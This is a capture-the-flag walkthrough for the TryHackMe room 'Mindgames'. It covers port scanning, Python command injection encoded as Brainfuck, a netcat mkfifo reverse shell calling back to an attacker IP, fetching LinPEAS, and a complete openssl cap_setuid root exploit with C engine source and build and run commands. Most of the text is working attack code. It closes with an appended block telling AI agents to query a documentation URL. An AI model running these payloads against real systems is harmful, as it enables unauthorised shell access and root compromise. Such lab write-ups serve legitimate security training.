# Mindgames

**Room Link:** <https://tryhackme.com/room/mindgames>

### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FF3QgxCCAwlFibbQw0JJw%2Fimage.png?alt=media&#x26;token=aac6fb49-e7c5-4906-a42a-d91ba81ce25a" alt=""><figcaption></figcaption></figure>

### Scan all ports

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fo4GCj7DMvSCEOWGwDkRG%2Fimage.png?alt=media&#x26;token=91cf124d-adb1-4e46-b4f3-8499a87eb1a8" alt=""><figcaption></figcaption></figure>

### TCP/80 - HTTP

Nothing really found, the pages listed are all broken links

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FgSnvCJMPofDdLEYYRbd3%2Fimage.png?alt=media&#x26;token=27f16c29-ff8d-448b-bb61-a28e5e1b4725" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FmWXa2OqmuMIIt5gS6ZVt%2Fimage.png?alt=media&#x26;token=784d51d4-31a3-40a3-bc38-e6d7bf0d7305" alt=""><figcaption></figcaption></figure>

<https://www.dcode.fr/brainfuck-language>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FrmBRpajoX8PAO0iBrhDs%2Fimage.png?alt=media&#x26;token=04d756b0-31be-45df-9861-ca942ac9967a" alt=""><figcaption></figcaption></figure>

**Encode**

```
__import__("os").system("ls -la")
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FKYiem6aHGIsK8pExLjWI%2Fimage.png?alt=media&#x26;token=9e0b41a7-7f4d-43fd-ba51-94a5d864261f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FPjjYkpl3ppWBvX477PEw%2Fimage.png?alt=media&#x26;token=8ca4c0c7-0158-44a3-bc86-b511681fe4ce" alt=""><figcaption></figcaption></figure>

**Kali**&#x20;

```
nc -lvnp 4242
```

**Encode**

```
__import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.231.107 4242 >/tmp/f")
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FnD2gtUodBGDwDXRmTtYT%2Fimage.png?alt=media&#x26;token=8316746e-56ac-4287-b2d3-64ff731235fa" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FzRKCZrbFYpznx8pUn52w%2Fimage.png?alt=media&#x26;token=ce35d87d-8d31-497e-a3e9-8cc332df3360" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F7RyNgMAdE1PO7Q6y1ulp%2Fimage.png?alt=media&#x26;token=bee384e4-538f-4522-a3e5-21a6a78ae964" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

### LinPeas

**Kali**

```
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
python2 -m SimpleHTTPServer 81
```

**Victim**

```
cd /tmp/
wget http://$KALI:81/linpeas.sh
chmod +x linpeas.sh 
./linpeas.sh
```

## Privilege Escalation

**Exploit:** <https://chaudhary1337.github.io/p/how-to-openssl-cap_setuid-ep-privesc-exploit/>

We found openssl has cap\_setuid+ep in Linpeas

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F63ZJl7GwRrhplELQSaMt%2Fimage.png?alt=media&#x26;token=21b0119c-4671-4fac-bd96-dfab9dcc89fe" alt=""><figcaption></figcaption></figure>

We can also run the below command to validate

**Victim**

```
getcap -r / 2>/dev/null
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fx3eabDkFyBGoGDfKS6MO%2Fimage.png?alt=media&#x26;token=9413345d-cc59-4ff8-b163-645712be1928" alt=""><figcaption></figcaption></figure>

**openssl-exploit-engine.c**

```
#include <openssl/engine.h>

static int bind(ENGINE *e, const char *id)
{
  setuid(0); setgid(0);
  system("/bin/bash");
}

IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN() 
```

**Kali**

```
gcc -fPIC -o openssl-exploit-engine.o -c openssl-exploit-engine.c
gcc -shared -o openssl-exploit-engine.so -lcrypto openssl-exploit-engine.o
python2 -m SimpleHTTPServer 81
```

**Victim**

```
cd /tmp/
wget http://$KALI:81/openssl-exploit-engine.so
openssl req -engine ./openssl-exploit-engine.so
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FFEMRdr38XOIyFKZYIA5z%2Fimage.png?alt=media&#x26;token=4a2499fd-4607-4061-9a15-245a07e22764" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/mindgames.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
